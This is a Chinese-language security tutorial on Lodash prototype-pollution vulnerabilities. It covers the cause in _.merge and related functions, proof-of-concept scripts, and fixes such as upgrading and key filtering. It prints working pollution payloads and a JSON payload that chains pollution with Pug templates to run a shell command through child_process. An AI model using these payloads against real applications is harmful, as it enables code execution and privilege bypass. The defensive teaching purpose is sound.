当前位置： 首页 > news >正文

Lodash原型污染漏洞深度解析：原理、复现与防御实践

news 2026/6/29 0:10:25

1. 项目概述：从一次“诡异”的代码行为说起

几年前，我在审查一个前端项目的安全报告时，遇到一个非常奇怪的现象。一个用于处理用户配置的简单函数，在某些特定输入下，竟然会“污染”整个应用的状态，导致其他毫不相关的功能模块出现异常。经过层层排查，最终定位到问题根源：我们项目中广泛使用的工具库Lodash的一个特定版本，存在一个被称为“原型污染”的安全漏洞。这个漏洞的隐蔽性极高，它不像SQL注入或XSS那样有明显的攻击特征，而是像一种“基因污染”，悄无声息地改变JavaScript运行环境的根基——Object.prototype。一旦被利用，攻击者可能通过一个看似无害的API调用，就能篡改所有对象的默认行为，进而可能导致拒绝服务、权限绕过，甚至远程代码执行。今天，我们就来彻底拆解这个经典的Lodash原型污染漏洞（CVE-2018-3721, CVE-2019-10744等），不仅讲清楚它的原理，更会手把手带你复现、理解其危害，并掌握在项目中有效防御的方法。无论你是前端开发者、安全工程师，还是对Web安全感兴趣的爱好者，理解这个漏洞都将让你对JavaScript语言的底层机制和现代Web应用的安全风险有更深的认识。

2. 原型污染漏洞的核心原理剖析

要理解Lodash的原型污染，我们必须先回到JavaScript语言的核心概念之一：原型链。这不仅是漏洞的成因，也是理解其危害性的关键。

2.1 JavaScript原型链与继承机制

在JavaScript中，几乎所有对象都有一个内部属性[[Prototype]]（可通过__proto__或Object.getPrototypeOf()访问）。当你尝试访问一个对象的属性时，如果该对象自身没有这个属性，JavaScript引擎就会沿着它的[[Prototype]]指向的对象去查找，如果还没有，就继续向上查找，直到找到Object.prototype或属性为null为止。这条查找路径就是“原型链”。

例如，我们创建一个空对象let obj = {};。obj.toString这个方法并不存在于obj自身，但当我们调用obj.toString()时，引擎会沿着obj -> Object.prototype这条链找到Object.prototype.toString并执行。这种机制是实现继承的基础。

Object.prototype位于所有通过对象字面量{}或new Object()创建的对象的原型链顶端。这意味着，如果Object.prototype被修改，那么所有继承了它的普通对象都会受到影响。这就是原型污染能够造成广泛影响的根本原因。

2.2 污染是如何发生的：以_.merge函数为例

Lodash提供了大量便捷的实用函数，其中_.merge是一个非常常用的深度合并对象的方法。它的本意是将多个源对象的属性递归地合并到目标对象中。问题就出在这个“递归合并”的逻辑上。

在存在漏洞的Lodash版本（例如lodash < 4.17.11）中，_.merge函数的实现对于属性键（key）的检查不够严格。我们来看一段问题代码的简化逻辑：

// 模拟有漏洞的 merge 函数简化逻辑 function merge(target, source) { for (const key in source) { if (source.hasOwnProperty(key)) { if (isObject(source[key]) && isObject(target[key])) { // 递归合并 merge(target[key], source[key]); } else { // 直接赋值 target[key] = source[key]; } } } return target; } // 辅助函数：简单判断是否为对象 function isObject(value) { return value !== null && typeof value === 'object'; }

关键点在于for (const key in source)这个循环。它遍历的是对象source的所有可枚举属性，包括那些从原型链继承来的属性！虽然下一行有source.hasOwnProperty(key)进行过滤，只处理对象自身的属性，但这里存在一个被忽略的路径。

攻击者可以构造一个特殊的对象，其某个属性键恰好是__proto__、constructor或prototype。在JavaScript中，__proto__是一个特殊的访问器属性，它指向对象的原型。当isObject(source[key])判断source['__proto__']时，它返回true（因为__proto__本身是一个对象）。然后，函数会尝试递归进入target['__proto__']，也就是target的原型对象。

如果target是一个普通对象{}，那么target['__proto__']就是Object.prototype。于是，递归调用就变成了merge(Object.prototype, source['__proto__'])。此时，source['__proto__']这个对象内部的所有属性，都会被合并到Object.prototype上，从而污染了所有对象的原型。

注意：现代JavaScript引擎中，__proto__作为一个直接属性被遍历的情况已经较少，且Lodash后续修复也主要针对此路径。但通过constructor.prototype这条路径依然可能在某些场景下生效，原理类似，都是通过操纵原型链的引用达到污染目的。

2.3 漏洞利用链：从污染到攻击

仅仅污染原型还不够，必须将其转化为实际的攻击效果。攻击者通常会利用污染向Object.prototype注入恶意属性或函数，影响应用逻辑。常见的利用方式有：

  1. 影响逻辑判断：许多代码会使用if (obj.isAdmin)进行权限检查。如果攻击者通过原型污染给Object.prototype添加了一个isAdmin: true的属性，那么所有未显式定义isAdmin属性的对象，在判断时都会继承这个true值，可能导致权限绕过。
  2. 篡改内置方法：污染Object.prototype.toString或valueOf方法，可能导致其他依赖这些方法进行序列化、比较或显示的库（如模板引擎、日志工具）行为异常，甚至触发进一步的漏洞。
  3. 导致拒绝服务(DoS)：向原型添加一个巨大的数组或复杂的getter函数，当这个属性被频繁访问或序列化时，会严重消耗CPU和内存，拖垮应用。
  4. 作为跳板，触发其他漏洞：这是更危险的场景。例如，一个模板引擎（如Pug/Jade）在渲染时，会从数据对象中查找方法。如果攻击者污染了Object.prototype，注入一个包含恶意代码的函数属性，当模板引擎调用这个函数时，就可能执行任意代码。

3. 漏洞复现：手把手搭建攻击环境

理解了原理，我们通过一个具体的场景来复现这个漏洞。请注意，以下操作请在完全隔离的测试环境（如本地虚拟机或沙箱容器）中进行。

3.1 环境准备与有漏洞的Lodash安装

首先，我们创建一个干净的测试目录，并安装存在已知原型污染漏洞的Lodash版本。CVE-2019-10744影响lodash < 4.17.12，我们就用4.17.10作为例子。

mkdir lodash-cve-demo && cd lodash-cve-demo npm init -y npm install lodash@4.17.10

创建一个简单的Node.js测试文件poc.js：

// poc.js const _ = require('lodash'); console.log(`[初始状态] Object.prototype.polluted = ${Object.prototype.polluted}`); // 构造恶意载荷 const maliciousPayload = JSON.parse('{"__proto__": {"polluted": "yes"}}'); // 或者另一种常见构造 // const maliciousPayload = { constructor: { prototype: { polluted: "yes" } } }; const normalObject = {}; console.log(`[合并前] normalObject.polluted = ${normalObject.polluted}`); // 使用有漏洞的 _.merge 函数 _.merge({}, maliciousPayload); console.log(`[合并后] normalObject.polluted = ${normalObject.polluted}`); console.log(`[验证] Object.prototype.polluted = ${Object.prototype.polluted}`);

3.2 执行复现与结果分析

运行这个脚本：

node poc.js

在Lodash 4.17.10环境下，你可能会看到类似如下的输出：

[初始状态] Object.prototype.polluted = undefined [合并前] normalObject.polluted = undefined [合并后] normalObject.polluted = yes [验证] Object.prototype.polluted = yes

结果解读：

  1. 初始时，Object.prototype和normalObject都没有polluted属性。
  2. 我们创建了一个新的普通对象normalObject。
  3. 执行_.merge({}, maliciousPayload)。这里的目标对象是一个空对象{}，源对象是我们构造的恶意载荷。漏洞被触发，Object.prototype被添加了polluted属性，其值为"yes"。
  4. 由于原型链继承，新创建的normalObject在访问.polluted属性时，会向上查找到被污染过的Object.prototype，从而返回"yes"。

这就成功复现了原型污染。一个看似只是合并两个对象的操作，却永久性地改变了整个运行环境的原型对象。

实操心得：在实际漏洞挖掘中，载荷构造可能需要多次尝试。JSON.parse解析__proto__在某些环境下可能不会将其作为键名，而是直接作用于当前对象。因此，有时需要通过其他方式构造对象，或者利用constructor.prototype这条路径。复现时，关注函数是否能递归操作到原型对象是关键。

4. 受影响的Lodash函数与版本排查

原型污染漏洞并非只存在于_.merge一个函数。在Lodash的历史版本中，多个进行深度操作或赋值的函数都被发现存在类似问题。了解这些函数有助于你在代码审计时快速定位风险点。

4.1 已知存在原型污染漏洞的函数列表

下表整理了Lodash中曾被发现存在原型污染漏洞的主要函数及其影响的CVE编号：

函数名主要用途相关CVE受影响版本（大致范围）风险操作
_.merge深度合并对象CVE-2018-3721, CVE-2019-10744< 4.17.11递归赋值时未过滤__proto__等特殊属性
_.mergeWith可自定义合并逻辑的深度合并CVE-2019-10744< 4.17.12同_.merge，在自定义逻辑中也可能触发
_.defaultsDeep深度分配来源对象的自身和继承的可枚举属性到目标对象CVE-2019-10744< 4.17.12递归分配默认值时可能污染原型
_.set设置对象路径上的值CVE-2019-10744< 4.17.12当路径字符串包含__proto__等关键词时
_.setWith可自定义设置逻辑的_.setCVE-2019-10744< 4.17.12同_.set
_.zipObjectDeep接受属性路径数组来创建对象CVE-2020-8203< 4.17.19从路径数组创建对象时未过滤原型键

4.2 如何检查你的项目是否受影响

对于正在维护的项目，快速排查风险至关重要。你可以通过以下步骤进行自查：

  1. 检查package.json：查看项目中lodash或lodash.<func>的版本号。如果主版本低于4.17.12，则存在高风险。
  2. 使用npm audit：在项目根目录运行npm audit命令。它会自动分析依赖树，报告已知的安全漏洞，包括Lodash的原型污染问题，并给出修复建议。
  3. 代码搜索：在项目代码中全局搜索上述高风险函数名（如_.merge、_.defaultsDeep、_.set），特别是那些处理用户可控输入（如HTTP请求参数、URL查询字符串、文件上传的元数据、WebSocket消息）的地方。这些是潜在的漏洞触发点。
  4. 使用安全扫描工具：集成像Snyk、GitHub Dependabot或WhiteSource这样的工具到你的CI/CD流程中，它们可以自动监测依赖库的新漏洞并发出警报。

5. 漏洞的深度利用与真实攻击场景模拟

原型污染本身可能不直接导致严重的后果，但它是一个强大的“跳板”。攻击者会将其与其他漏洞或应用特性结合，形成完整的攻击链。我们模拟两个经典的结合场景。

5.1 场景一：污染原型 + 模板引擎 = 远程代码执行(RCE)

假设一个Node.js后端应用使用存在漏洞的Lodash版本处理用户配置，同时使用Pug模板引擎渲染页面。

后端有问题的代码片段：

// server.js (存在漏洞的版本) const _ = require('lodash'); const express = require('express'); const app = express(); app.use(express.json()); app.post('/update-config', (req, res) => { // 用户可控的配置数据 const userConfig = req.body.config; const defaultConfig = { theme: 'light' }; // 使用有漏洞的 _.defaultsDeep const finalConfig = _.defaultsDeep({}, userConfig, defaultConfig); // ... 保存配置 req.session.config = finalConfig; res.send('Config updated'); }); app.get('/profile', (req, res) => { // 从session读取配置，并传递给模板 const userConfig = req.session.config || {}; // 使用Pug渲染，模板中可能直接输出配置 res.render('profile', { config: userConfig }); });

攻击步骤：

  1. 攻击者向/update-config发送一个POST请求，Body中包含恶意构造的JSON：
    { "config": { "__proto__": { "block": { "type": "Text", "line": "process.mainModule.require('child_process').execSync('touch /tmp/hacked')" } } } }
  2. 漏洞触发，Object.prototype.block被注入一个特定结构的对象。在某些Pug模板的渲染逻辑中，如果遇到block这个特殊属性，可能会将其内容作为代码处理。
  3. 当攻击者或其他用户访问/profile页面时，Pug引擎在渲染过程中，从被污染的原型链上读取到了恶意的block定义，并执行了其中嵌入的命令touch /tmp/hacked，从而实现了远程命令执行。

注意事项：这种利用方式高度依赖于模板引擎的具体实现、版本及其安全配置。并非所有Pug版本都会因此执行代码，但这是安全研究中已证实过的攻击向量。它揭示了原型污染如何将风险从数据层传递到代码执行层。

5.2 场景二：污染原型 + 客户端代码 = 前端XSS

原型污染同样可以发生在浏览器端。如果前端代码引入了有漏洞的Lodash版本，并用于处理从URL或API返回的、用户可控的数据，就可能引发客户端原型污染。

前端有问题的代码：

// 前端使用 lodash 处理 API 响应 import _ from 'lodash'; async function fetchUserData(userId) { const response = await fetch(`/api/user/${userId}`); const data = await response.json(); // 假设后端返回的数据结构深不可测，我们想扁平化或合并它 const processedData = _.merge({}, data, someDefaultSettings); renderUserProfile(processedData); }

攻击步骤：

  1. 攻击者构造一个恶意用户ID，或者通过其他方式（如修改API请求参数）使后端返回一个包含恶意__proto__属性的JSON响应。
  2. 前端代码在调用_.merge时触发漏洞，污染了浏览器页面全局的Object.prototype。
  3. 页面上其他JavaScript代码，可能依赖于某些对象属性的默认值（如undefined）进行逻辑判断。例如，一个权限检查if (!obj.isVIP) { showAds(); }。如果Object.prototype.isVIP被污染为true，则广告将不会显示，破坏了业务逻辑。
  4. 更严重的是，如果页面上有基于innerHTML或document.write且其内容来自对象属性的动态渲染，被污染的原型属性可能注入恶意HTML/JS代码，导致DOM型XSS。

客户端污染验证脚本：

<!DOCTYPE html> <html> <head> <script src="https://cdn.jsdelivr.net/npm/lodash@4.17.10/lodash.min.js"></script> </head> <body> <script> console.log('污染前:', {}.polluted); // 假设从不可信的API获得了这个数据 const badData = JSON.parse('{"__proto__": {"polluted": "前端被黑了"}}'); _.merge({}, badData); console.log('污染后:', {}.polluted); // 输出: 前端被黑了 alert(`污染测试: ${({}).polluted}`); </script> </body> </html>

6. 修复方案与安全开发实践

知道了漏洞的危害，我们该如何修复和预防？方案分为“治标”和“治本”。

6.1 立即修复：升级与补丁

最直接有效的方法是升级Lodash到安全版本。

  • 对于Lodash < 4.17.12：请立即升级到4.17.12或更高版本。这个版本及之后，Lodash核心团队在_.merge、_.defaultsDeep等函数中加入了严格的键名过滤，防止__proto__、constructor、prototype等特殊属性被递归操作。
  • 检查子依赖：很多时候，Lodash是作为其他大型框架或库的间接依赖（子依赖）被引入的。运行npm list lodash或yarn why lodash来查看所有依赖路径。即使你的项目直接依赖的是安全版本，一个子依赖可能还在使用老版本。你需要督促那个子依赖的维护者升级，或者使用npm的resolutions字段（Yarn）或overrides字段（npm）强制锁定整个项目的Lodash版本。

在package.json中强制指定版本（Yarn）:

{ "resolutions": { "lodash": "4.17.21" } }

在package.json中强制指定版本（npm v8+）:

{ "overrides": { "lodash": "4.17.21" } }

6.2 代码层防御：输入验证与安全函数

升级库是首选，但在无法立即升级或需要深度防御时，可以在代码层面采取以下措施：

  1. 严格的输入验证与净化：对所有用户输入（包括URL参数、POST body、HTTP头、文件内容）进行严格的验证和净化。使用如validator.js这样的库进行验证。对于对象，在传递给_.merge等函数前，递归地过滤掉键名为__proto__、constructor、prototype的属性。

    function sanitizeObject(obj) { const forbiddenKeys = ['__proto__', 'constructor', 'prototype']; return JSON.parse(JSON.stringify(obj, (key, value) => { if (forbiddenKeys.includes(key)) { return undefined; // 过滤掉危险键 } return value; })); } // 使用前先净化 const safeUserInput = sanitizeObject(req.body); _.merge(target, safeUserInput);

    注意：JSON.stringify/parse法虽然简单，但会丢失函数、正则表达式等特殊对象类型。对于复杂对象，需要实现更精细的遍历过滤函数。

  2. 使用Object.create(null)创建纯净对象：如果你需要一个完全纯净、不继承自Object.prototype的对象作为递归操作的目标，可以使用Object.create(null)。这样，即使发生污染，也只影响这个“孤岛”对象本身，不会波及全局。

    const safeTarget = Object.create(null); _.merge(safeTarget, potentiallyDirtySource); // 此时 safeTarget 的原型是 null，污染无法扩散

  3. 使用替代的安全库：考虑使用明确声明了安全考量、并经过安全审计的替代库，例如lodash-es（ES模块版本，通常更新更及时）、或者功能更专注的小型库。

6.3 安全开发意识与最佳实践

  1. 最小化使用深度操作：反思是否真的需要_.merge或_.defaultsDeep这样的深度合并。很多时候，浅合并Object.assign或扩展运算符{...obj1, ...obj2}已经足够，且更安全。
  2. 冻结原型对象：在极端敏感的环境下，可以考虑使用Object.freeze()冻结Object.prototype，防止其被修改。但这是一种非常激进的做法，可能会破坏某些依赖原型扩展的第三方库。
    Object.freeze(Object.prototype); // 此后尝试污染将会静默失败（严格模式下报错）
  3. 持续依赖管理：将安全更新作为开发流程的一部分。定期运行npm audit/yarn audit，并集成依赖漏洞扫描到CI/CD管道，确保新引入的漏洞能被及时发现。
  4. 安全代码审查：在代码审查中，将对用户输入进行深度对象操作的代码列为重点审查对象。检查是否使用了存在风险的Lodash函数，以及输入是否经过充分验证。

7. 从原型污染看前端安全的未来挑战

Lodash原型污染漏洞的发现和修复，是前端乃至整个JavaScript生态安全演进的一个缩影。它提醒我们几个关键点：

1. 供应链安全的极端重要性：一个被数百万项目依赖的基础工具库出现漏洞，其影响是灾难性的、呈指数级扩散的。作为开发者，我们不仅是库的使用者，也应是其安全的监督者。积极关注依赖库的安全公告，参与开源社区，报告问题，是每个人的责任。

2. 语言特性即双刃剑：JavaScript灵活的原型链机制带来了强大的表达力，也引入了独特的安全风险。类似的，eval()、Function构造函数、with语句等都因安全问题被谨慎使用或废弃。理解这些特性的安全边界，是编写稳健代码的前提。

3. 漏洞的复合性：现代Web应用漏洞很少孤立存在。如同我们看到的，原型污染（服务器端或客户端）可能作为初始入口，与模板注入、XSS、命令执行等漏洞串联，形成杀伤链。防御时需要建立纵深防御体系，每一层（输入验证、数据处理、输出编码、沙箱隔离）都不能缺失。

4. 自动化检测的兴起：面对复杂的漏洞交互，纯靠人工审计越来越力不从心。静态应用安全测试（SAST）、动态应用安全测试（DAST）以及交互式应用安全测试（IAST）工具正在更多地被集成到开发流程中，用于自动检测原型污染、不安全的合并操作等漏洞模式。

我个人在经历了多次类似的安全事件后，养成了一个习惯：在处理任何来自外部的、非受信的数据时，尤其是那些将要进行深度递归操作的数据，心中都会拉响警报。我会问自己几个问题：这个数据的来源绝对可信吗？这个库函数在处理边界情况（特别是__proto__、constructor）时是否安全？有没有更简单、更安全的方式实现同样的功能？这种“安全第一”的思维方式，或许比记住某个具体的修复方案更为重要。

http://www.jsqmd.com/news/1086390/

相关文章：

  • 笔记 20-2 ： 彭老师课本第 13 章，SPI，代码
  • Vision Transformer：从NLP到CV的跨界革命
  • 星露谷物语农场规划器：终极虚拟农场设计工具
  • 策划方案与脚本创作能力横评：GPT-4o vs Gemini 3.0 vs Claude 3.5 实测对比
  • vue3优化SSR在哪
  • ESP32 SSD1306 OLED显示驱动深度解析：5大实战优化策略与高级应用指南
  • ComfyUI-MimicMotionWrapper终极指南：3步实现专业级AI动作迁移
  • 迁移学习成败的关键：数据集类别设计的底层逻辑
  • 沃罗诺伊图（Voronoi）：从自然到算法的艺术【实践篇】
  • 每日热门skill:给AI装上一部电话！PollyReach让OpenClaw Agent打通物理世界「最后一公里」
  • 终极Windows 11精简指南：使用tiny11builder快速创建纯净系统镜像
  • Xilinx FIFO Generator AXI Stream模式实战：从配置到仿真验证
  • 利用Docker Compose一键部署DzzOffice与OnlyOffice私有云办公平台
  • 2026最新整理 适合学生使用的高评价英语听力平台推荐清单
  • MPLS LDP协议深度解析：从消息交互到会话状态机的实战指南
  • 论文写作工具推荐：4款主流AI工具横评，总有一款适合你
  • RC/RL并联电路：从阻抗计算到参数反演的实用指南
  • 【PDF工具篇】Windows平台PDF笔记神器Drawboard PDF旧版获取与部署指南
  • 072、Pandas 数据清洗：缺失值处理、类型转换、字符串操作、apply 家族
  • 从“边界”视角重识C++ set的lower_bound与upper_bound
  • OMPL中BIT*算法核心流程与关键模块解析
  • Steam游戏自动破解器：终极指南与完整解决方案
  • JSON转Excel实际应用场景案例
  • HIS医院信息系统：微服务架构实践与医疗数字化转型方案
  • ENVI实战：为无地理参考的栅格影像精准注入空间坐标
  • PostgreSQL数据文件损坏：从“read only 0 of 8192 bytes”错误到精准修复
  • Fast DDS之Domain隔离与Participant通信机制
  • LSI MegaRAID实战：从零配置硬RAID到系统挂载
  • 国内各大招聘平台分类汇总｜HR选型全指南，附低成本直聘渠道推荐
  • 550+免费RPG Maker插件库：从新手到专家的完整游戏开发解决方案